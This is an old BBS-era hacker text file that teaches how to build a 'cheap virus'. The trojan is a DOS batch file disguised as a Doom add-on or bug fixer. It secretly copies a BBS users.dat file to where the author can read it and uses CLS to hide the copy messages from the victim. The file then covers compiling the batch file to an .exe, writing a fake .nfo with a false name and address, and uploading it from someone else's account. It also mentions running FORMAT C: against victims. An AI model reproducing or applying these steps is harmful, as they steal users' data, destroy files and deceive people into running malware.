Cheap Virii First off, if you know how to code already, or already an experianced virus writer, dont read this. This txt file explains how to make a simply, cheap "virus", to accomplish a task on a computer other than you own. To do this, you dont need to know anyhthing, execpt basic dos commands. First off, you must select your target. It could be a BBS user.dat file, a fucker who you want to mess with, or just to annoy a large gruop of people. Haul out your old handy text edit, like Qedit, or the edit Dos prog. Now is the hard part, you must use your brain to muster up an idea. Lets say to want to get a local PD users.dat file from a renegade dir. First, you must understand that the person must run this file for it to work. Next, the first command should be ECHO OFF, and then the next few lines should use the ECHO command to display messages to the user. They should say shit like - Renegade Bug Fixer - Doom 2 level add ons - etc....to make it more realistic, use the ansi color codes in these text lines. To get a list of em, check out the file CODES.TXT. It has the complete 15 color cycle, withw the FULL ansi codes next to them. Simply, veiw the file[ with a text editor], and write down what colorz you want to use. You should have your intro now, next your "virus" must do somthing. In our example, we will have it disply the text " Warping Doom 2 ", this is so the people understand why their computer is running and coping files. After that is displayed, make a sequence of commands like this: [0,30m ---- Warping Doom ---- CD\RENEGADE\DATA COPY USERS.DAT PERSONAL.ANS CLS COPY PERSONAL.ANS C:\RENEGADE\MISC CD\ So what these commands do, are make a fony intro, make the users.dat into a menu file, and then copy the " personal.ans " file to the ansi dir. So the maker of this text file could veiw the users.dat file by just hitting ? at the personal menu. These "Cheap Virii", are cheap, in that they require the person to run a file. Also, make sure after every COPY command that use have CLS on the next line, otherwise the loozer will see 1 FILE(s) COPIED, and get supsious. Now you should have your .bat file. But no one in there right mind would run a .bat file without looking at it first right!? Thats where the BAT2EXEC prog comes in handy. It is inclosed in this packet. What BAT2EXEC does is make your .bat file into a .com file. So, run it, make your .bat file a .com file. Then copy your .com file into a .exe file[makes it look more legit[[there is no difference when you run them]]]. Now you have a handly little "virus" . You can use BAT2EXEC for MANY purposes, it is the BEST util i have ever seen[my greetz go out to the author]. Once you have your .exe file done. You must make it so the person will want to run it. If you think a minuite, most people like games, so something like a doom file, or a One Must Fall file would work here. Once you have what your prog is supposed to do, make up a phony .nfo file. In it, write bullshit about the prog, what it does and why it wont harm your computer. And at the end, put a fake name and address[for an address, use abigwar's file on gov. address, and just change the top line]. You last step is to make a file_id.diz file, and put what the thing is, with some shitty ascii drawin. Zip it up, and use a account other than your own to UL it to some board. Some closing notes. You can do more with one of these shit files that get a users.dat, use your imagination. There is one thing i suggest tho, just dont put FORMAT C: in a bat file, its not worth it, and you get nothing in return(unless the person is a TOTALL fuckup, then do it). Also inclosed in this file are some example bat files for you to look at. Fiasco[BGR] BTW: Fiasco takes NO RESPONSIBILTY FOR YOUR ACTIONS, YOU TAKE CREDIT FOR EVERYTHING YOU DO. Also, Fiasco has never, and never will try any of these teqnuiques, this file came to him in a dream.
